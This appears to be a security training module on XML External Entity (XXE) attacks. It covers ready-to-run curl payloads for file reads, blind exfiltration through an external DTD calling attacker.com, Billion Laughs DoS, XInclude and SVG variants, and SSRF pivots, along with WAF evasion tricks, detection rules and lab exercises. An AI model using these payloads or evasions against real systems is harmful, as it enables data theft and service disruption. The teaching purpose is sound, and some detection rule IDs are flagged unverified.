XML External Entity (XXE)
XXE is the abuse of XML’s DTD feature for entity definitions. The XML spec lets you define an entity that points to an external URI; when the parser expands it, the parser fetches the URI. If the parser is configured to allow external entities (and many are by default), the application processes XML that includes the file content or HTTP response the parser fetched on the attacker’s behalf. The 2014 Facebook XXE let attackers read /etc/passwd of Facebook’s servers; CVE-2018-7711 in DotNetNuke was XXE in web.config import.
The Core Concept
Section titled “The Core Concept”XML has two parsing modes: DTD-aware and DTD-unaware. A DTD-aware parser resolves entity references — including SYSTEM URIs, which it fetches. The SYSTEM identifier accepts any URI the parser’s I/O layer can handle: file://, http://, ftp://, gopher://, jar:// (Java).
┌─────────────────────────────────────────────────────────────┐ │ Attacker uploads XML: │ │ <!DOCTYPE foo [ │ │ <!ENTITY xxe SYSTEM "file:///etc/passwd"> │ │ ]> │ │ <root>&xxe;</root> │ ├─────────────────────────────────────────────────────────────┤ │ XML parser: │ │ reads DTD → defines entity "xxe" │ │ sees &xxe; → resolves to "file:///etc/passwd" │ │ fetches /etc/passwd ← THIS IS THE BUG │ │ substitutes file content for &xxe; │ ├─────────────────────────────────────────────────────────────┤ │ Application: │ │ <root>root:x:0:0:root:/root:/bin/bash ...</root> │ │ returns to attacker │ └─────────────────────────────────────────────────────────────┘A “Billion Laughs” attack (entity expansion DoS) is the same mechanism used to amplify — define &lol1; as 10 &lol2;, &lol2; as 10 &lol3;, … &lol9; as 10 “lol” — one XML document expands to ~10^9 entities.
How It Works
Section titled “How It Works”- Find an XML endpoint — SOAP web services, RSS/Atom feeds, SVG uploads, OOXML (
.docx/.xlsxis a ZIP of XMLs), SAML responses (the entire SAML XML Signature spec is XML). - Probe with a benign entity —
<!ENTITY x "test">and reference&x;. If the response containstest, DTD parsing is enabled. - Test
SYSTEMwithfile://—<!ENTITY x SYSTEM "file:///etc/passwd">. If the response includes the passwd file, classic XXE works. - Blind XXE (no reflection) — when the response doesn’t include the parsed body. Use an external DTD that triggers an HTTP callback:
The<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">%dtd;]><foo/>
evil.dtddefines%eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"; %eval; %exfil;— the parser reads the local file, then makes an HTTP request with the file content as a query parameter. - Error-based XXE — make the parser throw an error containing the file content:
<!ENTITY x SYSTEM 'file:///nonexistent/%file;'>causes the parser to emit “file not found: /nonexistent/”. - Pivot to SSRF — replace
file://withhttp://169.254.169.254/...— XXE becomes SSRF, and XXE allows arbitrary methods/headers in some Java parsers.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| Classic XXE | <!ENTITY x SYSTEM "file:///etc/passwd"> reflected | Easy — DTD declarations in body |
| Blind XXE OOB | External DTD triggers HTTP exfil callback | Medium — needs callback infra |
| Error-based | Parser error embeds file content | Easy — error string in response |
| Billion Laughs (DoS) | Nested entity expansion, no I/O | Easy —DTD recursion limited by parsers now |
| XInclude XXE | <xi:include href="file:///etc/passwd"> when you cannot control the DOCTYPE | Medium — works in SAX + XInclude-enabled |
| SVG XXE | SVG uploaded as image, parsed as XML → file read | Easy — block <!DOCTYPE in SVG uploads |
| Parameter entity injection | %entity; syntax for DTD-only definitions | Hard — parameter entities are obscure |
| SSRF pivot | <!ENTITY x SYSTEM "http://169.254.169.254/..."> | Easy — same as W5 SSRF signatures |
Hands-On Commands
Section titled “Hands-On Commands”# Classic XXE — POST to a vulnerable XML endpointcurl -X POST http://target/api/parse \ -H "Content-Type: application/xml" \ -d '<!DOCTYPE foo [<!ENTITY x SYSTEM "file:///etc/passwd">]> <foo>&x;</foo>'
# Blind XXE with external DTDcat > evil.dtd <<EOF<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">%eval;%exfil;EOFpython3 -m http.server 8000 & # serve evil.dtdcurl -X POST http://target/api/parse -H "Content-Type: application/xml" \ -d '<!DOCTYPE foo [ <!ENTITY % dtd SYSTEM "http://attacker.com:8000/evil.dtd"> %dtd; ]> <foo/>'
# Billion laughscurl -X POST http://target/api/parse -H "Content-Type: application/xml" -d '<?xml version="1.0"?><!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">]><lolz>&lol5;</lolz>'
# XInclude XXE — when DOCTYPE is blockedcurl -X POST http://target/api/parse -H "Content-Type: application/xml" -d '<?xml version="1.0"?><foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd"/></foo>'
# SVG XXE — upload an imagecat > evil.svg <<EOF<?xml version="1.0" standalone="yes"?><!DOCTYPE svg [<!ENTITY x SYSTEM "file:///etc/hostname">]><svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <text>&x;</text></svg>EOFcurl -F "image=@evil.svg" http://target/upload
# XXEsurfer — automated XXE testingpython3 xxesurfer.py --url http://target/api/parse --method POST --content-type xml
# nuclei XXE templatesnuclei -u http://target -t ~/nuclei-templates/http/dast/ -tags xxeDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — XXE covered by rule 932130 (XML External Entity) and the 920400 family for content-type policy. Notable:
- 932130 — XML External Entity Injection (
<!ENTITY+SYSTEM) - 932131 — XML Local File Inclusion via entity expansion
- 932100 family (RCE) catches
jar://Java XXE pivots - 920220 — content-type policy (block
text/xmlto sensitive endpoints)
Suricata SID 2221017 — XML External Entity attack pattern [verify].
Sysmon Event ID 1 — ProcessCreate from Java app (JVM) spawning cmd.exe after XXE → SSRF → RCE chain (Log4Shell-style).
MITRE ATT&CK T1190 — Exploit Public-Facing Application.
MITRE ATT&CK T1059.004 — Unix Shell (XXE → <!ENTITY x SYSTEM "command://..."> or expect:// in PHP).
Wazuh rule 31181 — XXE pattern in request body [verify].
Evasion Techniques
Section titled “Evasion Techniques”XInclude pivot. When <!DOCTYPE> is blocked (some parsers strip the DOCTYPE entirely), XInclude is still allowed if the parser is XInclude-aware. <xi:include href="file:///etc/passwd"/> does the same thing without a DOCTYPE.
UTF-16 encoding. The DTD regex matches ASCII bytes. Submit the XML as UTF-16 (<?xml version="1.0" encoding="UTF-16"?> with UTF-16 BOM), and the byte-level WAF rule misses. Defense: normalize to UTF-8 before matching.
CDATA wrapping. Some filters strip <!ENTITY> but accept <![CDATA[...]]>. This doesn’t bypass XXE — CDATA is for text content, not for DTD — but it does bypass naive keyword filters that block the literal SYSTEM only outside CDATA blocks.
Custom URI schemes. Java’s parser supports jar://, netdoc://, gopher://. PHP’s supports php://filter/convert.base64-encode/resource=/etc/passwd (a built-in filter that base64-encodes the file content — same trick as LFI).
| Evasion | Bypasses | Defense |
|---|---|---|
| XInclude | DOCTYPE-only filters | Disable XInclude in parser features |
| UTF-16 encoding | ASCII byte matchers | Decode to UTF-8 before matching |
Parameter entities (%) | General entity regex | Block all <!ENTITY, both % and named |
php://filter scheme | file://-only scheme block | Block all non-http schemes by default |
jar:// (Java) | file://-only scheme block | Java: set XMLConstants.FEATURE_SECURE_PROCESSING |
SVG <text>&entity;</text> | HTML image sanitizers | Validate SVG XML and strip DTD |
⚠️ What caught me: An “image processing” service accepted SVG uploads and ran
ImageMagick convertto rasterize them. ImageMagick hadMVGandMSLdelegates enabled (this is the ImageTragick CVE-2016-3714 family). My SVG’s<text>element with an&xxe;entity wasn’t strictly XXE — it was MVG delegation that ImageMagick then expanded. The “image” was rendered, the entity was resolved inside ImageMagick’s own XML parser, and the rendered PNG came back with/etc/passwddrawn as pixels. Lesson: XML parsers in non-obvious places (ImageMagick, libplist, OpenOffice, iTunes backup parsers) are XXE sinks you only find by fuzzing MIME types.
Lab Practice
Section titled “Lab Practice”Container: quay.io/appsec/xxe-lab (community image) or use bWAPP’s XXE module.
docker run --rm -p 8080:8080 quay.io/appsec/xxe-lab# Or:docker run --rm -d -p 80:80 raesene/bwapp# bWAPP → Choose bug → XML External Entity InjectionObjective: solve classic XXE (reflect /etc/passwd), then blind XXE via external DTD with an OAST callback, then XInclude XXE.
Expected flag format: flag{xxe_classic_blind_xinclude_solved}.
Detection that should fire: ModSecurity 932130 on every payload, the application log should show file-not-found errors for error-based payloads.
Interview Questions
Section titled “Interview Questions”Conceptual: what is the difference between a general entity and a parameter entity in XML DTD, and why are parameter entities strictly more powerful for blind XXE?
Technical: walk through the exact XML payload + external DTD pair required for blind XXE that exfiltrates a file via HTTP callback. Why is the % HTML entity necessary in the DTD?
Scenario: a target blocks <!DOCTYPE entirely but accepts arbitrary XML body. What technique lets you still read local files, and what parser feature must be enabled?
Why does XInclude work even when <!DOCTYPE is blocked, but Billion Laughs DoS does not work via XInclude?
Compare XXE and SSRF in terms of what they can access. Why is gopher:// XXE more dangerous than http:// SSRF on a Java target?
Related Modules
Section titled “Related Modules”→ W1 (OWASP Top 10 Overview) · W5 (Server-Side Request Forgery) · W17 (API Security)